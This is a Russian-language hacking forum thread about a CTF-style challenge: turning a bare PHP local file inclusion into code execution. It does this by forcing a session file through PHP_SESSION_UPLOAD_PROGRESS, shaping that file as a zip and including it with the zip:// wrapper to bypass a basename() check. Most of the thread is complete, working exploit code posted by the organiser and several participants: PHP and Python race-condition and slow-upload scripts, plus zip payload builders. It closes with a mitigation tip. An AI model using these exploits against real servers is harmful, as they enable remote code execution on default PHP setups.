PDA

Просмотр полной версии : Task #8


dooble
15.06.2019, 12:47
Добьем тему.

Предлагается найти RCE для не очень частой, но довольно тупиковой ситуации, когда есть "голая" LFI, без возможности заливки файлов, без доступа к логам или чему-либо полезному, сессия не стартована.

В конце прошлого года известные китайцы (тайванцы) показали, что задача решаема.

И не то, чтобы решение было "кривое", нормальное решение, но мы сделаем круче.

Сможем обойти более сложную проблему , когда проверяется расширение файла, или даже конкретное имя, или еще и путь до файла.

Для минимизации времени на поиски вариантов все скрипты с сайта убраны, оставлен только один (и почищен) - не промахнетесь.

В нем строка:


if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);

Настройки сайта почти дефолтные, но


open_basedir /var/www/:/var/lib/php/sessions:/tmp

и порезаны исходящие соединения (без вариантов, инклюд возможен только локальный).

Задание:

1- Выполнить на таргете (http://task8.antichat.com) phpinfo().

2- Отдельно будет оцениваться удобство эксплуатации, мы сделаем "конфетку" - надежное 100% срабатывание, без всяких гонок.

Срок:

две недели.

Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде.

Скрипт в аттаче.

Флагов нет, присылайте решения в ПМ форума.

И сканеры не нужны, не помогут.

Никаких секретных каталогов, файлов - нет.

Даже картинка тут не при делах.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

Прошли:

=HALK= (https://antichat.live/members/67039/) 1, 2

nix_security (https://antichat.live/members/332889/) 1, 2

Gorbachev (https://antichat.live/members/300636/) 1, 2

joelblack (https://antichat.live/members/267454/) 1



Прохождения (https://antichat.live/threads/471183/)

dooble
16.06.2019, 08:56
По поводу тестов на локалке, проверено для php 7.

Судя по манам, должно работать с версии 5.4, но нужно проверять.

=

upd

Для 5.5.20 тоже работает, подтверждаю.

dooble
17.06.2019, 08:23
Не знаю, как здоровый зеленый мужик попадает в клавиатуру, но в решение он попал.

И довольно неплохо.

nix_security (https://antichat.live/members/332889/) тоже зарешал, реализацию еще можно допиливать, но уже вполне прилично.

Вот даже пришлось выкатить неожиданную полторашку.

Почти уверен - он тоже добьет.

dooble
18.06.2019, 08:58
Давайте подумаем, как решать такую задачу.

Раньше мы бы пытались сбрутить темп-файл, который создается при загрузке файла.

Ну м.б. по сегфолту положили его не временным а постоянным.

Надеюсь никто не будет мучить сервер таска таким поиском.

Кстати, один наш общий знакомый недавно подтвердил работоспособность такого решения, возможно он еще отпишется, хотя именно он и заставил меня поискать альтернативное решение.

И сегодня мы уже можем зайти с другой стороны.

Решение складывается из трех пазлов, по двум уже даны подсказки, одна аж прям почти открытым текстом, вторая пытается быть не такой прямой, а осторожно указывает на блог Orange, который и сам по себе интересен, да еще дает нам новый механизм работы с сессиями, даже когда они не стартованы явно.

Полезная вещь, если пропустили ее, рекомендую потестить и разобраться.

На рдоте тоже есть подходящий пост.

Сложив две технологии мы зарешаем первый пункт таска.

Второй пункт - просто сделаем решение технологичным, надежным и удобнымным в эксплуатации.

nix_security
20.06.2019, 02:04
Спасибо за таск! Интересный и малоизвестный вектор.

dooble
20.06.2019, 11:25
↑ (https://antichat.live/posts/4314319/)
Спасибо за таск! Интересный и малоизвестный вектор.


Наверное зацеплюсь за мысль и скажу такую штуку:

Вот мы приходим в ИБ и видим много разных вещей, новых, крутых, невероятных.

Учимся пользоваться ими.

Но все время остается дистанция, между нами и теми, кто это ресерчил и отлаживал, наполнял содержанием то, что мы называем хакерскими технологиями.

Они крутые, а мы только учимся.

Но вот сейчас хороший момент, когда можно почувствовать, что мир становится "меньше" и уже не так далеко до тех, кто творит хакерскую историю.

А может расстояния остались теми же, а мы выросли.

В любом случае мы сейчас делаем то, что пока еще никто в мире не умеет делать.

Никто, кроме нас.

А мы уже научились выпиливать лобзиком хитрые архивы и сейчас из обычной сессии приготовим еще один такой.

С нужным нам содержанием, с нужным именем.

И не из-за ошибок в коде скриптов, а в дефолтной системе.

Пусть это и не похек интернета, но некоторая новая технология, у которой есть потенциал, а возможно и история с продолжением.

Поэтому предлагаю не ждать, когда появятся ответы, а найти их в составе команды первопроходцев.

l1ght
22.06.2019, 06:35
Вот за что нравятся задачки дубля, так это за то что там нет воды: вот тебе готовая, популярная проблема, реши ее. И хорошо подвел к ее решению предыдущим заданием. Осталось сложить а+б. Идеально для новичков, самый недооцененный таск.

dooble
24.06.2019, 14:09
a - https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html или http://wonderkun.cc/index.html/?p=718, нас интересует принудительное создание сессии с нужной начинкой.

б- поскольку в имени сессии точка недопустима, смотрим /threads/470693/ (https://antichat.live/threads/470693/)

Ну и, как посоветовал Лайт, соединяем технологии a + б.

joelblack
28.06.2019, 14:44
Спасибо за таск, очень понравился, читал ресерч оранжа ранее, было интересно воспроизвести его, да еще и в купе с "штукой" из таска7)

dooble
29.06.2019, 10:01
Прохождение

Анализ:

Поскольку логи недоступны и на сайте нет скриптов аплоада, ищем способы сформировать файл с полезной нагрузкой.

Open_basedir разрешает работу в /tmp и в каталоге сессий, а в каталог сайта чмоды писать не дают, да и нечем.

Можем инициировать загрузку файла и пытаться сбрутить имя создающегося темп-файла.

Но в конце прошлого года был обнаружен более интересный механизм, попробуем поковырять его.

Идея:

Можно задействовать механизм принудительного создания сессии и проинклюдить ее.

Затею нетрудно реализовать в системе с дефолтными настройками, на рдоте тоже была заметка на эту тему (https://rdot.org/forum/showthread.php?t=4557), поэтому не экзотика, тестим и разбираемся - чего и как.

Для начала смотрим маны (https://www.php.net/manual/ru/session.upload-progress.php) и готовим localhost, php v. >=5.4 и для удобства временно установим


session.upload_progress.cleanup = Off

это не будет очищать сессию и мы сможет исследовать содержимое.

Отправляем запрос


curl http://127.0.0.1/index.php -H "Cookie: PHPSESSID=test" -F "PHP_SESSION_UPLOAD_PROGRESS=blahblahblah" -F "file=@/tmp/up.txt"

и получаем сессию с именем sess_test и содержимым (интересует только начало)


upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1561714798;s:14:"content_length";i:297312;s:15:"bytes_processed";i:297312;s:4:"done";

Где видим свою начинку blahblahblah.

Т.е. можем вставить произвольный php-код и получаем файл с заданным именем и нужной начинкой



Z"/>






upload_progress_ZZZ|a:5:{s:10:"start_time";i:1561718417;s:14:"content_length";i:6931748;s:15:"bytes_processed";i:6931748;s:4:

Первая полезняшка.

Теперь возвращаем session.upload_progress.cleanup = On

и двигаемся дальше.

Если бы не


if(isset($_GET['f']) && basename($_GET['f'])==='test.php')

то просто проинклюдили бы сессию с заранее заданным именем, но нужно байпасить basename().

Тут, к сожалению, известные приемы закончились и дальше придется ресерчить самим.

Назвать сессию - 'test.php' мы не можем, точка - недопустимый символ в имени сессии.

Поэтому вспоминаем, как в таске #7 мы работали с архивами и помещали в них нужные файлы, как продолжение файловой системы.

И basename() будет применен уже не к файлу архива, а к этим файлам, когда мы их запросим.

Если контролируемую часть сессии сформировать так, чтобы файл сессии стал валидным архивом, то можно проинклюдить содержимое архива, используя соответствующий враппер.

Мысль хорошая, тестим.

Phar не подходит по двум причинам - проверяет целостность содержимого и в имени файла обязательно должна быть точка (и хотя бы один символ после нее).

Но вот zip нам пригодится.

Мы уже умеем добавлять произвольный префикс к нему, да и точка в имени не обязательна.

Аналогично можно добавить и суффикс, но этого делать не придется, потому, что есть еще одно замечательное свойство - добавление данных в конец готового архива не ломает его, он их просто игнорирует, не видит.

И эти данные становятся частью файла, но не частью архива.

Итого имеем неизменяемое начало файла, заголовок сессии (из которого и сформируем архив) и остальную, изменяемую часть сессии.

И вот она - магия!

Один и тот же файл воспринимается одновременно и как валидный архив с полезной начинкой и как файл сессии, с которым адекватно работает php.

Остается решить третью проблему, сессия очищается по окончании загрузки файла и нужно ловить момент, когда полезная начинка существует в файле сессии.

Если мониторить размер файла сессии, то происходит примерно следующее, пока работает скрипт загрузки.

---=======-----

где:

- сессия пуста

= файл сессии содержит полезную начинку

Можно просто поиграть в гонки, сгенерить много загрузок и много инклюдов, какой-нибудь да сработает.

Можно даже один раз запустить загрузку большого файла и множеством запрсов ловить нужное состояние сессии.

Мы примерно по этому пути и пойдем, но сделаем процесс более контролируемым и надежным.

Реализация

Php - однопоточный по своей природе, а нам нужно два потока запускать и контролировать, поэтому лучше использовать чего-нибудь другое.

Хотя и тут можно скозлоумничать.

На неблокирующих сокетах, или попробовать мультикурл.

А давайте попробуем.

Оказывается вполне даже работает.

Инициируем два соединения, первое аплоадит файл, второе инклюдит сессию через враппер.


curl_setopt($ch1, CURLOPT_URL,$url1);
curl_setopt($ch2, CURLOPT_URL,$url2);

Приведу несколько модифицированное решение, не потому, что оно лучше, а чтобы показать, что в момент, когда мультикурл переключается между соединениями (цикл do while), мы можем выполнять некоторые дополнительные действия (проверки), что может быть полезным и в других случаях, а нам сейчас дает возможность отловить состояние, когда файл сессии содержит нужные данные.


getshell(),
'file' => new CurlFile($fup),
];

mpmc($u,$p);

#===
function mpmc($url,$post=array(), $cookie='PHPSESSID=task8') {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_TIMEOUT, 18);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);

$mh = curl_multi_init();
curl_multi_add_handle($mh,$ch);

$running=null;
do {
curl_multi_exec($mh, $running);
$fg = @file_get_contents($url);
if (strlen($fg)>1000) {
echo $fg;
die;
}
} while ($running > 0);

curl_multi_remove_handle($mh,$ch);
curl_multi_close($mh);
}
#===
function getshell(){
$evil_code='';
$header=ini_get("session.upload_progress.prefix");
$footer="";
$local_path_to_archive="/tmp/test.zip";
$inc_file="/tmp/test.php";

@unlink($local_path_to_archive);
file_put_contents($inc_file,$evil_code);
$zip = new ZipArchive();
if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
exit("could not open file $local_path_to_archive\n");
}
$zip->addFromString($header,"");
$zip->setArchiveComment($footer);
$zip->addFile($inc_file,"/tmp/test.php");
$zip->close();
@unlink($inc_file);
$r=preg_replace("/$header/si", "", file_get_contents($local_path_to_archive),1);
return $r;
}

Здесь curl_setopt($ch2, CURLOPT_URL,$url2); выпилен, поскольку в проверке уже используется file_get_contents($url), а мультикурл все-равно производит переключение, даже если второе соединение отсутствует.

Кстати, в процессе тестов обнаружился такой момент, пустил соединение через прокси Charles и поведение сессии на сервере таска изменилось, файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки.

Так что просто последовательное выполнение запроса загрузки и следом запроса на инклюд - работало на ура.

Без всякого шаманства.

Не "конфетка", но тоже интересно.

dooble
29.06.2019, 10:14
Прохождения участников:


↑ (https://antichat.live)
Эксплойт с гонкой, которую я всегда выигрываю со своим пингом)

import requests
from threading import Thread
import base64
import time

data = {'PHP_SESSION_UPLOAD_PROGRESS':base64.b64decode('A AAAAAAAAAAAAAIAAABmL1BLAwQKAAAAAACdVdBOUIPMfRIAAAA SAAAACgAAAGYvdGVzdC5waHA8P3BocCBwaHBpbmZvKCk7Pz5QS wMECgAAAAAAebLPTlrf2AAGAQAABgEAAAkAAABpbmRleC5waHA 8P3BocA0KDQppZihpc3NldCgkX0dFVFsnZiddKSAmJiBiYXNlb mFtZSgkX0dFVFsnZiddKT09PSd0ZXN0LnBocCcpew0KCWluY2x 1ZGUoJF9HRVRbJ2YnXSk7DQp9ZWxzZXsNCmVjaG8gJzxib2R5I HN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjgsIDE0LCA xNCk7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7I j48aW1nIHN0eWxlPSIgaGVpZ2h0OiAxMDAwcHg7IiBzcmM9ImR lcmV2YS5qcGciPjwvZGl2PjwvYm9keT4nOw0KDQp9DQo/Pg0KUEsBAj8AFAAAAAAAlFXQTgAAAAAAAAAAAAAAAAIAJAAAAA AAAAAQAAAAAAAAAGYvCgAgAAAAAAABABgAJoqHWhck1QEmioda FyTVAb/vPUwXJNUBUEsBAj8ACgAAAAAAnVXQTlCDzH0SAAAAEgAAAAoAJ AAAAAAAAAAgAAAAIAAAAGYvdGVzdC5waHAKACAAAAAAAAEAGAC YR0ZlFyTVAVKb3lYXJNUBUpveVhck1QFQSwECPwAKAAAAAAB5s s9OWt/YAAYBAAAGAQAACQAkAAAAAAAAACAAAABaAAAAaW5kZXgucGhwC gAgAAAAAAABABgA364RTa8j1QEALWVxAyLVAW8KaNiDDNUBUEs FBgAAAAADAAMACwEAAIcBAAAAAA==')}
files = {'file':'A'*5000*1024}
cookies = {'PHPSESSID':'test'}

def send():
requests.post('http://task.antichat.com:10008/', cookies=cookies, data=data, files=files)

def get():
time.sleep(0.2)
r = requests.get('http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_test%23f/test.php')
print r.text.encode("utf-8")

thread1 = Thread(target=send)
thread2 = Thread(target=get)

thread1.start()
thread2.start()
thread1.join()
thread2.join()





↑ (https://antichat.live)
Привет, решил таск, пока через race condition
Есть две проблемы:
1. Необходимо добиться RCE через LFI. Тут
https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge
узнал описано, что создать сессию в php возможно без session_start если воспользоваться параметром
PHP_SESSION_UPLOAD_PROGRESS.
2. Необходимо забайпасить функцию basename. На ум сразу приходит враппер zip://, который разжевали в предыдущем таске.
Итак, делаем архив:

zip tmp.zip ./tmp/test.php;
ehco -n "upload_progress_" > temp2.zip; cat tmp.zip> temp2.zip;
zip -F temp2.zip --out ./test-res.zip

Модифицируем эксплойт китайцев:

#!/usr/bin/env python3

import requests
import sys
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://task.antichat.com:10008/'
sess_name = 'test'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = open('test-res.zip', 'rb').read()
print(payload)

data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload
}

def runner_post(i):
fp = open('test', 'rb')
while 1:
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner_get(i):
while 1:
r = requests.get(HOST + "index.php?f=zip:///var/lib/php/sessions/sess_test%23tmp/test.php")
if "phpinfo()" in r.text:
print(r.text)
break

if sys.argv[1] == '1':
runner = runner_get
else:
runner = runner_post

pool = ThreadPool(5)
res = pool.map_async(runner,range(5)).get(0xffff)

Запускаем и через пару минут видим phpinfo)
P.S. Способ без гонки, через slow query попробую отладить на днях




↑ (https://antichat.live)
Привет!
Переделал эксплойт через slow query. Пэйлоад тот же, мы просто отправим http запрос на загрузку файла через сокет и после начала передачи поставим sleep. Важно, чтобы размер переданной части файла + заголовков был больше буфера. Тогда файл сессии флашнется на диск.
Заявленная длина передаваемого файла должна быть больше того, что мы передадим фактически. Корректную концовку запроса (конец файла\r\n + --boundary--\r\n) отправлять необязательно. Во время паузы у атакующего появляется окно, чтобы заинклудить пэйлоад:

#!/usr/bin/env python3

import os
import time
import socket
import requests

# Target
hostname = "task.antichat.com"
port = 10008

# Params
sess_name = 'test'
user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

'''
payload gen:
zip payload.zip ./tmp/test.php
echo -n "upload_progress_" > ./tmp.zip
cat payload.zip >> ./tmp.zip
zip -F tmp.zip --out result.zip
xxd result.zip
'''

payload = b'PK\x03\x04\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe 4\x9b\xc1Y' + \
b'\x13\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x1c\x00 tmp/test.p' + \
b'hpUT\t\x00\x03\xc1t\x06]\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00' + \
b'\x00\x00\x04\x00\x00\x00\x00\nPK\x01\x02' + \
b'\x1e\x03\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\ x9b\xc1Y\x13' + \
b'\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x18\x00\x00 \x00\x00\x00' + \
b'\x01\x00\x00\x00\xa4\x81\x10\x00\x00\x00tmp/test.phpUT\x05' + \
b'\x00\x03\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00' + \
b'\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x 01\x00R\x00' + \
b'\x00\x00i\x00\x00\x00\x00\x00\n'

def slow_post():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20)
s.connect((hostname, port))

boundary = "d616cb44a03dd005920d52707fcfce66"

body_len = 50000 # len must be more than real

post_req = (
"POST / HTTP/1.1\r\n" +
"Host: %s\r\n" % hostname +
"User-Agent: %s\r\n" % user_agent +
"Cookie: PHPSESSID=%s;\r\n" % sess_name +
"Accept: */*\r\n" +
"Content-Length: %i\r\n" % body_len +
"Accept-Encoding: text\r\n" +
"Content-Type: multipart/form-data; boundary=%s\r\n" % boundary +
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data;" +
"name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n" +
"\r\n"
).encode("utf-8") + \
payload + (
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data; name=\"f\"; filename=\"test\"\r\n" +
"\r\n" + "test" * 10000 # chunk must be more than buffer
).encode("utf-8")

print("Send slow post request")
s.send(post_req)
# pause file upload
time.sleep(10)
# file will not ever uploaded

def get_lfi():
url = "http://%s:%i" % (hostname, port) + \
"/index.php?f=zip:///var/lib/php/sessions/sess_%s%%23tmp/test.php" % sess_name

print("Include session file:", url, sep="\n")

headers = {
"User-Agent": user_agent
}
r = requests.get(url, headers=headers)
return r.text

if __name__ == '__main__':
pid = os.fork()
if pid:
# wait for a start upload
time.sleep(1)
print("PHPINFO:", get_lfi(), sep="\n")
else:
slow_post()

P.S. Спасибо за таск!




↑ (https://antichat.live)
Привет,спасибо за таск, очень зашел, открыл для себя в процессе решения некоторые фишки, о которых не знал ранее. Итак, тестировал все на
win10+OSPanel 5.3.0+php7.3.2+
Apache2.4
Пока читаем таск8, видим жирный намек на оранжа:
http://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
Исходя из исследования оранжа, понимаем, что при определенных условиях мы можем писать произвольные данные в сессию. Но тут есть 2 проблемы:
Первая

if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);

Из чего следует,что полностью все по ресерчу сделать не получится, так как все портит basename().
Вторая
Из-за настройки по умолчанию для session.upload_progress.prefix наш сессионный файл будет начинаться с префикса
upload_progress_
Смотрим
task7
:
/threads/470693/page-2#post-4310093 (https://antichat.live/threads/470693/page-2/)
Обращаем внимание на архив
ZIP
. Идем в документацию PHP и смотрим соответствующий враппер:

https://www.php.net/manual/ru/wrappers.compression.php


zip://archive.zip#dir/file.txt

Так как можно обращаться непосредственно к файлам внутри архива,необходимо создать нужную структуру внутри ,и тогда basename() вернет true после чего
Первая
проблема решена.Далее как формировать архив, и как он решит вторую проблему описано в таске7, так что остается адаптировать готовое решение:
zip.php

';
$header="upload_progress_";
$local_path_to_archive="final.zip";
$inc_file="abs/test.php";
file_put_contents($inc_file,$evil_code);
$zip= newZipArchive();
if ($zip->open($local_path_to_archive,ZIPARCHIVE::CREATE)!== TRUE) {
exit("could not open file$local_path_to_archive\n");
}
$zip->addFromString($header,"");
$zip->addFile($inc_file,"abs/test.php");
$zip->close();

Затем, как сформировали готовый архив,вырезаем оттуда
upload_progress_
.После этого фактически
Вторая
проблема решена. Остается отправить все это дело.

По умолчанию
session.upload_progress.cleanup
в PHP
включен
. Это означает, что прогресс загрузки в сеансе будет очищен как можно скорее. На лицо
Race Condition
. У оранжа есть готовый POC (https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py), который не много изменив, можно применить и здесь. Я разбил его на 2 файла:

uploader_rc.py


import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

while 1:
fp = open('D:\\OSPanel\\domains\\task8\\test.txt', 'rb')
r = requests.post(HOST, files={'f': fp}, data={'PHP_SESSION_UPLOAD_PROGRESS':open('D:\\OSPa nel\\domains\\task8\\final.zip', 'rb').read()}, headers=headers)
fp.close()
print('Send!')

uploader_rc_get.py

import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

filename = 'zip://D:\\ospanel\\userdata\\temp\\sess_' + sess_name+ '%23abs/test.php'

while 1:
url = '%s?f=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c.find('PHP Version') != -1:
print(c)
break

Остается лишь запустить 2 файла, после чего получим результат работы функции phpinfo();
Spoiler: img
https://a.radikal.ru/a42/1906/04/8fe0beba45fc.png

Тот_самый_Щуп
29.06.2019, 11:44
Очень хороший таск. Как по мне, данная реализация в определенной степени зиродейная, и уж точно в паблике уникальная. Но действительно таск, и технология как уже писал Лайт, недооцененная.

Хочу отметить несколько интересных моментов, которые я видел в процессе отладки.

Когда решал первый пункт, я тупо воспользовался питоновским скриптом от Orange, который чутка подпилил под таск, и сначала отлаживался у себя на VPS, и в какой то момент остановив бесконечный цикл в питоновском скрипте - созданная сессия со всем содержимым перманентно осталась на сервере.

Полагаю, речь про уже упомянутый сегфолт. Но причину его появления, и как его вызвать в нужный момент, мне кажется искать нужно более глубже, в сорцах PHP, а тут мои полномочия уже как бы всё ©

По второму пункту, вот там уже начался хардкор. Связываться с питоном, и писать на нем решение не очень хотелось, поэтому ковырял возможности реализовать на однопоточном php, и вместо мультикурла решил воспользоваться вызовом системных команд.

Я для удобства у себя поставил в скрипт:


$file = '/var/lib/php/session/sess_iamorange';
if(file_exists($file)) { echo file_get_contents($file); }

И в процессе аплоада + обращению к скрипту наблюдал содержимое sess_iamorange. В общем суть такая, что у меня на моей VPS создавалась сессия, и была доступна для инклуда всего за 2 запроса, без всяких циклов. Пример кода:


shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');

$post = array(
'PHP_SESSION_UPLOAD_PROGRESS' => 'any_text',
'file' => '@/etc/passwd'
);
echo curl_post('http://my.vps',$post);

Суть кода, посылаем через системный курл спец запрос, не дожидаемся от курла ответа, фигачим второй запрос на php курле, и наблюдаем содержимое sess_iamorange

Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.

Я полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение, которое и позволило всего двумя запросами создать и проинклудить сессию. Как мне кажется, в эту сторону ещё можно поковырять, и возможно найти способ решения представленной задачи всего за 2 HTTP запроса, без всяких циклов и подгадываний размеров файла, так как посылая в одном потоке запрос:


shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');

Мы всегда имеем один и тот же результат в bytes_processsed + в content_length. Да, понятное дело, что для .zip хвост неактуален, но возможно будет критичен для других реализаций чего-либо на основе принудительной сессии.

По факту я не доковырялся до истины, и реализовал свой колхозный вариант на основе циклов + системной команды в качестве второго потока, который кое как работал.

dooble
15.07.2019, 08:30
Последнее, о чем не сказали:

Отслеживание прогресса загрузки файлов с помощью сессий - не такая уж востребованная операция, чтобы в свете обнаруженных возможностей (а есть и другие идеи использования, надо тестить) в настройках php по дефолту иметь значение session.upload_progress.enabled (https://www.php.net/manual/ru/session.configuration.php#ini.session.upload-progress.enabled)= On- выглядит неоправданным риском.

И пока разработчики php еще не пришли к этому пониманию, рекомендуется на своих проектах самим выставить это значение в Off.

При проведении аудитов и пентестов, кстати, в отчете тоже можно рекомендовать такую настройку.

crlf
16.07.2019, 12:05
↑ (https://antichat.live/posts/4319259/)
И пока разработчики php еще не пришли к этому пониманию


"Гром не грянет, мужик не перекрестится" - негласный девиз разрабов PHP

crlf
28.09.2019, 19:47
Представилась возможность более плотно поковырять эту фичу, поэтому могу тоже немного поделиться своими ислледованиями.

PHP_SESSION_UPLOAD_PROGRESS как и задумано, исправно мониторит прогресс загрузки файла от клиента на сервер, скидывая данные в файл сессии для дальнейшей (возможной) обработки. Поэтому, как верно заметил @dooble (https://antichat.live/members/295866/), если файл большой, то время жизни "полезного" файла будет увеличиваться и тогда есть 100% шансы выйграть эту гонку за пару запросов.

Но нам так же ничего не мешает, растянуть передачу маленького файла на большой промежуток времени. Поэтому, осмелюсь предположить, что вот эти странные явления:


↑ (https://antichat.live/posts/4316495/)
файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки




↑ (https://antichat.live/posts/4316523/)
Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.




↑ (https://antichat.live/posts/4316523/)
полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение


ничто иное как подвисший или медленный коннект.

Вполне нормальный, жизненный кейс, когда у клиента замедлился интернет, ведь по сути для этого и нужен отображаемый прогресс загрузки, чтоб было веселей ждать

В общем, немного пошаманив, пришёл к такому варианту, где не досылается последний байт:


';
$scheme= ($ssl?'ssl://':'');
$EOL="\r\n";
$body='';

$body.='-----------------------------xxxxxxxxxxxx'.$EOL;
$body.='Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"'.$EOL;
$body.=$EOL;
$body.=$payload.$EOL;
$body.='-----------------------------xxxxxxxxxxxx'.$EOL;
$body.='Content-Disposition: form-data; name="file"; filename="tricky_file.is"'.$EOL;
$body.='Content-Type: text/plain'.$EOL;
$body.=$EOL;
$body.=str_repeat('A',1024*1000).$EOL;
$body.='-----------------------------xxxxxxxxxxxx--';
$header='POST '.$path.' HTTP/1.1'.$EOL;
$header.='Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'.$EOL;
$header.='User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'.$EOL;
$header.='Host: '.$host.$EOL;
$header.='Cookie: PHPSESSID='.$session_name.$EOL;
$header.='Content-Length: '.(strlen($body)).$EOL;
$header.='Connection: close'.$EOL.$EOL;

$fp=stream_socket_client($scheme.($ip?$ip:$host).' :'.($scheme?443:80),$errno,$errstr,30);
fwrite($fp,substr($header.$body,0,strlen($header.$ body) -1));
print$EOL.'Session file name is: sess_'. $session_name.$EOL.'Hurry up :)'.$EOL;
sleep(1000);
?>



Никаких гонок при этом нет, файл лежит очень долго. По моим наблюдениям, до обрыва соединения, т.к. ждать больше получаса не хотелось По хорошему, этот "плохой" коннект должен обрываться по таймауту и возможно тут присутствует задел на развитие/усиление DOS, но это не в кассу.

Вариант получился сильно похожий на решение от @nix_secutiry, но уже в более универсальном варианте. Который будет удерживать файл, столько, сколько потребует ваш вектор.